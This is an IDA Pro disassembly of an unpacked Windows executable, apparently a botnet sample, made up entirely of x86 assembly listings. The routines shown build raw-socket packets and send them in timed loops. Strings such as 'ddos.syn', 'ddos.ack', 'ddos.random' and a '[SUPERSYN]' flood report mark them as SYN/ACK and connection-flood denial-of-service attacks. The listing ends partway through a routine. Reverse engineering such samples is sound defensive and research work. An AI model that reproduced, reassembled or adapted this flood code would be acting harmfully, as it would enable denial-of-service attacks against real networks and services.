;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	961A02955D22C3582C1C1FCC00F8CE95

; File Name   :	u:\work\961a02955d22c3582c1c1fcc00f8ce95_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00022174 ( 139636.)
; Section size in file		: 00022174 ( 139636.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_0		segment	para public 'CODE' use32
		assume cs:_0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A15o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h

loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_43F5E0	; WSAStartup
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------

loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43F70C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	ds:dword_43F648	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	ds:dword_43F668	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	ds:dword_43F668	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	ds:dword_43F668	; htons
		mov	[ebp+var_12], ax
		call	sub_41730A
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43F668	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	ds:dword_43F664	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730A
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	ds:dword_43F668	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_424060	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_42405C	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43F668	; htons
		mov	[ebp+var_14], ax
		call	sub_41730A
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730A
		or	edi, eax
		push	edi
		call	ds:dword_43F668	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_43F664	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_43F668	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	ds:dword_43F6CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_42405C	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------

loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------

loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]

loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	ds:dword_43F700	; closesocket
		pop	esi

loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	ds:dword_43F5C8	; WSACleanup
		mov	eax, ebx

loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730A
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax

loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C03o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_43F6E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]

loc_401493:				; DATA XREF: _2:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172AE
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread

loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	ds:dword_43F648	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread

loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread

loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	ds:dword_43F668	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	esi, ds:dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax

loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	ds:byte_43C3E8,	45h
		call	ds:dword_43F668	; htons
		cmp	[ebp+var_2C], edi
		mov	ds:word_43C3EA,	ax
		mov	ds:word_43C3EC,	bx
		mov	ds:word_43C3EE,	di
		mov	ds:byte_43C3F0,	80h
		mov	ds:byte_43C3F1,	bl
		mov	ds:word_43C3F2,	di
		jz	short loc_401687
		call	sub_41730A
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		push	1
		mov	ds:dword_43C3F4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------

loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	ds:dword_43C3F4, eax

loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	ds:dword_43C3F8, eax
		call	sub_41730A
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	ds:byte_43C3FC,	dl
		call	sub_41730A
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	ds:byte_43C3FD,	dl
		call	sub_41730A
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	ds:word_43C3FE,	di
		mov	ds:word_43C402,	bx
		inc	edx
		mov	ds:word_43C400,	dx
		call	sub_41730A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43C404
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43C3E8
		push	[ebp+var_4]
		call	ds:dword_43F6CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------

loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	ds:dword_43F700	; closesocket
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread

loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	ds:dword_43F700	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	ds:dword_43F668	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		call	ds:dword_424214	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_424218	; ioctlsocket

loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_42421C	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		call	ds:dword_424064	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		call	ds:dword_424220	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx

loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax

loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3906o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_43F5E0	; WSAStartup
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------

loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43F70C	; WSASocketA
